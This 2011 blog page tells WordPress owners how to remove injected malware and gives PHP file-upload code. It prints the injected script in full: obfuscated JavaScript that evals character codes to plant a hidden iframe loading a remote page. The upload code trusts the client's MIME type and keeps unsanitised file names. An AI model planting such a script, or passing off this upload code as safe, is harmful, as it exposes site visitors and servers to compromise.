Friday, August 26, 2011

save your worpress website form virus

Some time popular website facing the problem of  "Attaking vrius" the web page is display like below :


In this situation the web is not open. To save your website only the solution is use ftp details of your website search the virus code in folder of the website. 
 The folder are usually like templets,content search in index.php and default.php. sometime hacker add index page in your images folder. You can check thoroghly your image folder also dont neglect it.

The virus code is like below:   completely delete this code from your php and html pages

<!--898dcf--><script>v=document.createTextNode('asd');var s;for(i in v)if(i=='childNodes')y=v[i].length+1;y*=2;aa=document.createTextNode("e"+"v"+"a"+"l");e=window[aa.nodeValue];e(String.fromCharCode(11-y,11-y,107-y,104-y,34-y,42-y,102-y,113-y,101-y,119-y,111-y,103-y,112-y,118-y,48-y,105-y,103-y,118-y,71-y,110-y,103-y,111-y,103-y,112-y,118-y,117-y,68-y,123-y,86-y,99-y,105-y,80-y,99-y,111-y,103-y,42-y,41-y,100-y,113-y,102-y,123-y,41-y,43-y,93-y,50-y,95-y,43-y,125-y,11-y,11-y,11-y,107-y,104-y,116-y,99-y,111-y,103-y,116-y,42-y,43-y,61-y,11-y,11-y,127-y,34-y,103-y,110-y,117-y,103-y,34-y,125-y,11-y,11-y,11-y,102-y,113-y,101-y,119-y,111-y,103-y,112-y,118-y,48-y,121-y,116-y,107-y,118-y,103-y,42-y,36-y,62-y,107-y,104-y,116-y,99-y,111-y,103-y,34-y,117-y,116-y,101-y,63-y,41-y,106-y,118-y,118-y,114-y,60-y,49-y,49-y,105-y,116-y,107-y,111-y,103-y,112-y,120-y,107-y,114-y,103-y,116-y,48-y,114-y,113-y,101-y,106-y,118-y,99-y,48-y,116-y,119-y,49-y,113-y,105-y,123-y,122-y,123-y,110-y,99-y,114-y,48-y,106-y,118-y,111-y,110-y,41-y,34-y,121-y,107-y,102-y,118-y,106-y,63-y,41-y,51-y,50-y,41-y,34-y,106-y,103-y,107-y,105-y,106-y,118-y,63-y,41-y,51-y,50-y,41-y,34-y,117-y,118-y,123-y,110-y,103-y,63-y,41-y,120-y,107-y,117-y,107-y,100-y,107-y,110-y,107-y,118-y,123-y,60-y,106-y,107-y,102-y,102-y,103-y,112-y,61-y,114-y,113-y,117-y,107-y,118-y,107-y,113-y,112-y,60-y,99-y,100-y,117-y,113-y,110-y,119-y,118-y,103-y,61-y,110-y,103-y,104-y,118-y,60-y,50-y,61-y,118-y,113-y,114-y,60-y,50-y,61-y,41-y,64-y,62-y,49-y,107-y,104-y,116-y,99-y,111-y,103-y,64-y,36-y,43-y,61-y,11-y,11-y,127-y,11-y,11-y,104-y,119-y,112-y,101-y,118-y,107-y,113-y,112-y,34-y,107-y,104-y,116-y,99-y,111-y,103-y,116-y,42-y,43-y,125-y,11-y,11-y,11-y,120-y,99-y,116-y,34-y,104-y,34-y,63-y,34-y,102-y,113-y,101-y,119-y,111-y,103-y,112-y,118-y,48-y,101-y,116-y,103-y,99-y,118-y,103-y,71-y,110-y,103-y,111-y,103-y,112-y,118-y,42-y,41-y,107-y,104-y,116-y,99-y,111-y,103-y,41-y,43-y,61-y,104-y,48-y,117-y,103-y,118-y,67-y,118-y,118-y,116-y,107-y,100-y,119-y,118-y,103-y,42-y,41-y,117-y,116-y,101-y,41-y,46-y,41-y,106-y,118-y,118-y,114-y,60-y,49-y,49-y,105-y,116-y,107-y,111-y,103-y,112-y,120-y,107-y,114-y,103-y,116-y,48-y,114-y,113-y,101-y,106-y,118-y,99-y,48-y,116-y,119-y,49-y,113-y,105-y,123-y,122-y,123-y,110-y,99-y,114-y,48-y,106-y,118-y,111-y,110-y,41-y,43-y,61-y,104-y,48-y,117-y,118-y,123-y,110-y,103-y,48-y,120-y,107-y,117-y,107-y,100-y,107-y,110-y,107-y,118-y,123-y,63-y,41-y,106-y,107-y,102-y,102-y,103-y,112-y,41-y,61-y,104-y,48-y,117-y,118-y,123-y,110-y,103-y,48-y,114-y,113-y,117-y,107-y,118-y,107-y,113-y,112-y,63-y,41-y,99-y,100-y,117-y,113-y,110-y,119-y,118-y,103-y,41-y,61-y,104-y,48-y,117-y,118-y,123-y,110-y,103-y,48-y,110-y,103-y,104-y,118-y,63-y,41-y,50-y,41-y,61-y,104-y,48-y,117-y,118-y,123-y,110-y,103-y,48-y,118-y,113-y,114-y,63-y,41-y,50-y,41-y,61-y,104-y,48-y,117-y,103-y,118-y,67-y,118-y,118-y,116-y,107-y,100-y,119-y,118-y,103-y,42-y,41-y,121-y,107-y,102-y,118-y,106-y,41-y,46-y,41-y,51-y,50-y,41-y,43-y,61-y,104-y,48-y,117-y,103-y,118-y,67-y,118-y,118-y,116-y,107-y,100-y,119-y,118-y,103-y,42-y,41-y,106-y,103-y,107-y,105-y,106-y,118-y,41-y,46-y,41-y,51-y,50-y,41-y,43-y,61-y,11-y,11-y,11-y,102-y,113-y,101-y,119-y,111-y,103-y,112-y,118-y,48-y,105-y,103-y,118-y,71-y,110-y,103-y,111-y,103-y,112-y,118-y,117-y,68-y,123-y,86-y,99-y,105-y,80-y,99-y,111-y,103-y,42-y,41-y,100-y,113-y,102-y,123-y,41-y,43-y,93-y,50-y,95-y,48-y,99-y,114-y,114-y,103-y,112-y,102-y,69-y,106-y,107-y,110-y,102-y,42-y,104-y,43-y,61-y,11-y,11-y,127-y));</script><!--/898dcf-->


Thursday, August 11, 2011

complete code for php file upload

<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }
?>

php file upload

 This is simple file upload using HTML  in this use only the <input type="file" name="file" id="file" /> this is generate the popup for upload the image or file or video.

<html>
<body>

<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>